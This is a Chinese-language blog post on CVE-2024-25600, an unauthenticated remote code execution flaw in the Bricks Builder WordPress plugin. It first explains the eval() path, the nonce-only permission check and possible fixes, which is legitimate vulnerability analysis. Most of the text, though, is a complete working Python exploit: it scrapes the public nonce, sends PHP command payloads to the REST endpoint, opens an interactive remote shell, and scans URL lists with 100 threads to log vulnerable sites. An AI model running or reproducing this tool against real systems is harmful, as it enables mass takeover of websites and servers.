WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

举报
拈花倾城 发表于 2024/03/14 18:51:24 2024/03/14
【摘要】 WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

Bricks <= 1.9.6 容易受到未经身份验证的远程代码执行 (RCE) 的攻击,这意味着任何人都可以运行任意命令并接管站点/服务器。

受影响插件:Bricks Builder

漏洞存在版本:<=1.9.6

补丁版本:1.9.6.1

一、分析

Bricks\Query类用于管理WordPress POST请求后的显示

它包含以下脆弱方法

public static function prepare_query_vars_from_settings( $settings = [], $fallback_element_id = '' )
{
    // CUT OUT FOR CLARITY
    
$execute_user_code = function () use ( $php_query_raw ) {
    $user_result = null; // Initialize a variable to capture the result of user code
    
    // Capture user code output using output buffering
    ob_start();
    $user_result = eval( $php_query_raw ); // Execute the user code
    ob_get_clean(); // Get the captured output
    
    return $user_result; // Return the user code result
};

// CUT OUT FOR CLARITY
}

其中$user_result = eval( phpqueryraw);是关键,php_query_raw );是关键,php_query_raw被传递至eval函数,这是非常危险的。

为了利用这一点,我们需要找到一种方法,让 Bricks 使用用户控制的 $php_query_raw 输入来调用上述代码。

prepare_query_vars_from_settings方法始终在类的构造函数中调用Bricks\Query

这个类在许多地方被使用和实例化。
image.png

检查每一个调用的方法不合理,但可以关注Bricks\Ajax::render_element($element)

Bricks使用它来显示编辑器的预览
大致内容如下我删除了一些不相关的内容

$loop_element = ! empty( $element['loopElement'] ) ? $element['loopElement'] : false;
$element      = $element['element'];

if ( ! empty( $loop_element ) ) {
    $query = new Query( $loop_element );
// CUT FOR BREVITY
}

$element_name       = ! empty( $element['name'] ) ? $element['name'] : '';
$element_class_name = isset( Elements::$elements[ $element_name ]['class'] ) ? Elements::$elements[ $element_name ]['class'] : false;

if ( class_exists( $element_class_name ) ) {
    $element_instance = new $element_class_name( $element );
} 

该方法使用提供的参数创建一个新的 Query 实例,或者直接在第 5 行创建一个 Query 类。

也可以在第 14 行创建/渲染任何 Brick 的构建器元素,方法是省略“ loopElement ”参数并传递没有 .php 文件的元素的“名称”。

许多这些元素类也会在下游调用 new Query() 。还有一个代码元素可用于此漏洞利用,但在本文中,我们将重点关注第 5 行中的代码路径。
46470f3f963a924db523ae1845cda45.png

该方法可通过 admin-ajax.php 端点和 WordPress Rest API 调用。

此外,还包含以下权限检查逻辑

if ( bricks_is_ajax_call() && isset( $_POST ) ) {
    self::verify_request();
}

elseif ( bricks_is_rest_call() ) {
    // REST API (Permissions checked in the API->render_element_permissions_check())
}

Ajax::verify_request()将检查当前用户是否有权访问 Bricks 构建器(os:这也不太行,因为低权限用户也可能有访问权限

但是,如果通过 REST API 调用此方法,Ajax::verify_request()则不会调用。

代码注释:

REST API(在 API->render_element_permissions_check() 中检查权限)

表示此检查是否在 WP 的 REST API 的权限回调中执行。

// Server-side render (SSR) for builder elements via window.fetch API requests
		register_rest_route(
			self::API_NAMESPACE,
			'render_element',
			[
				'methods'             => 'POST',
				'callback'            => [ $this, 'render_element' ],
				'permission_callback' => [ $this, 'render_element_permissions_check' ],
			]
		); 

但是,检查render_element_permission_check方法,我们可以看到没有执行权限检查。

该方法仅检查请求是否包含有效的随机数,并且 WordPress 文档明确指出“永远不应依赖随机数进行授权”:

public function render_element_permissions_check( $request ) {
    $data = $request->get_json_params();
    
    if ( empty( $data['postId'] ) || empty( $data['element'] ) || empty( $data['nonce'] ) ) {
        return new \WP_Error( 'bricks_api_missing', __( 'Missing parameters' ), [ 'status' => 400 ] );
    }
    
    $result = wp_verify_nonce( $data['nonce'], 'bricks-nonce' );
    
    if ( ! $result ) {
        return new \WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), [ 'status' => 403 ] );
    }
    
    return true;
} 

因此,唯一剩下的先决条件是通过“bricks-nonce”操作获得有效的随机数。

即使用户未经过身份验证,Bricks 也会为前端中的每个请求输出有效的随机数。这可以在下面网站主页呈现的 HTML 中看到。

有一个脚本标记,其中包含一个“ bricksData”对象,该对象除其他外还包含一个有效的随机数。
image.png

二、修复

快速修复很复杂,因为eval的用户输入的功能被利用到后端的多个部分

当然,快速修复的方法是向 REST API 端点添加正确的权限检查。但这仍然留下了危险的功能,并且很可能通过其他方式调用它。

原则上任何人都不应该将任何内容传递到eval.

至少,Bricks 使用的代码库中的两个实例eval(查询类和代码块类)应该完全防范未经授权的、非管理员访问,并且输入必须经过严格验证。

解决方案是将签名与要使用 wp_hash() 评估的代码一起存储。这样,在运行时,可以确保没有人能够将代码注入数据库。

三、EXP

github上一位师傅提供的,也是我在本地复现时使用的,交互shell

import re
import warnings
import argparse
import requests

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed


warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class Code:
    def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
        self.url = url
        self.pretty = pretty
        self.verbose = verbose
        self.console = Console()
        self.only_rce = only_rce
        self.nonce = self.fetch_nonce()
        self.payload_type = payload_type

    def fetch_nonce(self):
        try:
            response = requests.get(self.url, verify=False, timeout=20)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, "html.parser")
            script_tag = soup.find("script", id="bricks-scripts-js-extra")
            if script_tag:
                match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
                if match:
                    return match.group(1)
        except Exception:
            pass

    def send_request(self, postId="1", command="whoami"):
        headers = {"Content-Type": "application/json"}
        payload_command = f'throw new Exception(`{command}` . "END");'

        base_element = {
            "postId": postId,
            "nonce": self.nonce,
        }

        query_settings = {
            "useQueryEditor": True,
            "queryEditor": payload_command,
        }

        payload_templates = {
            "carousel": {
                **base_element,
                "element": {
                    "name": "carousel",
                    "settings": {"type": "posts", "query": query_settings},
                },
            },
            "container": {
                **base_element,
                "element": {
                    "name": "container",
                    "settings": {"hasLoop": "true", "query": query_settings},
                },
            },
            "generic": {
                **base_element,
                "element": "1",
                "loopElement": {
                    "settings": {"query": query_settings},
                },
            },
            "code": {
                **base_element,
                "element": {
                    "name": "code",
                    "settings": {
                        "executeCode": "true",
                        "code": f"<?php {payload_command} ?>",
                    },
                },
            },
        }

        json_data = payload_templates.get(self.payload_type)
        if self.pretty:
            endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
        else:
            endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"

        req = requests.post(
            endpoint,
            headers=headers,
            json=json_data,
            verify=False,
            timeout=20,
        )
        return req

    def process_response(self, response):
        if response and response.status_code == 200:
            try:
                json_response = response.json()
                html_content = json_response.get("data", {}).get("html", None)
            except ValueError:
                html_content = response.text

            if html_content:
                match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
                if match:
                    extracted_text = match.group(1).strip()
                    if extracted_text == "":
                        return True, html_content, False
                    else:
                        return True, extracted_text, True
                else:
                    return True, html_content, False
        return False, None, False

    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        self.custom_print("Shell is ready, please type your commands UwU", "!")

        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        response = self.send_request(command=cmd)
                        (
                            is_vuln,
                            response_content,
                            regex_success,
                        ) = self.process_response(response)
                        if is_vuln and regex_success:
                            print(response_content, "\n")
                        else:
                            self.custom_print(
                                "No valid response received or target not vulnerable.",
                                "-",
                            )

            except KeyboardInterrupt:
                break

    def check_vulnerability(self):
        try:
            response = self.send_request()
            is_vuln, content, regex_success = self.process_response(response)

            if is_vuln:
                if regex_success:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
                        "+",
                    )
                else:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
                        "!",
                    ) if not self.only_rce else None
                return True, content, regex_success
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
                ) if self.verbose else None
                return False, None, False
        except Exception as e:
            self.custom_print(
                f"Error checking vulnerability: {e}", "-"
            ) if self.verbose else None
            return False, None, False

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )


def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
    code_instance = Code(
        url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
    )
    if code_instance.nonce:
        is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
        if is_vuln and (not only_rce or is_rce_success):
            if output_file:
                with open(output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
    return False


def main():
    parser = argparse.ArgumentParser(
        description="Check for CVE-2024-25600 vulnerability"
    )
    parser.add_argument(
        "--url", "-u", help="URL to fetch nonce from and check vulnerability"
    )
    parser.add_argument(
        "--list",
        "-l",
        help="Path to a file containing a list of URLs to check for vulnerability",
        default=None,
    )
    parser.add_argument(
        "--output",
        "-o",
        help="File to write vulnerable URLs to",
        default=None,
    )

    parser.add_argument(
        "--payload-type",
        "-p",
        choices=["carousel", "container", "generic", "code"],
        default="code",
        help="Type of payload to send (generic, code, carousel or container)",
    )
    parser.add_argument(
        "--only-rce",
        action="store_true",
        help="Only display and record URLs where RCE is confirmed",
    )
    parser.add_argument(
        "--pretty",
        action="store_true",
        help="Use pretty URLs (e.g., /wp-json/...) for requests",
    )

    args = parser.parse_args()

    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(
                        scan_url,
                        url,
                        args.payload_type,
                        args.output,
                        args.only_rce,
                        args.pretty,
                    ): url
                    for url in urls
                }
                for future in as_completed(future_to_url):
                    future_to_url[future]
                    try:
                        future.result()
                    except Exception:
                        pass
                    finally:
                        bar()

    elif args.url:
        code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
        if code_instance.nonce:
            code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
            is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
            if is_vuln and is_rce_success:
                code_instance.interactive_shell()
            elif is_vuln and not args.only_rce:
                code_instance.custom_print(f"Debug:\n{html_content}", "!")
            else:
                code_instance.custom_print(f"No vulnerability found.", "-")
        else:
            code_instance.custom_print("Nonce not found.", "-")
    else:
        parser.print_help()


if __name__ == "__main__":
    main()
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。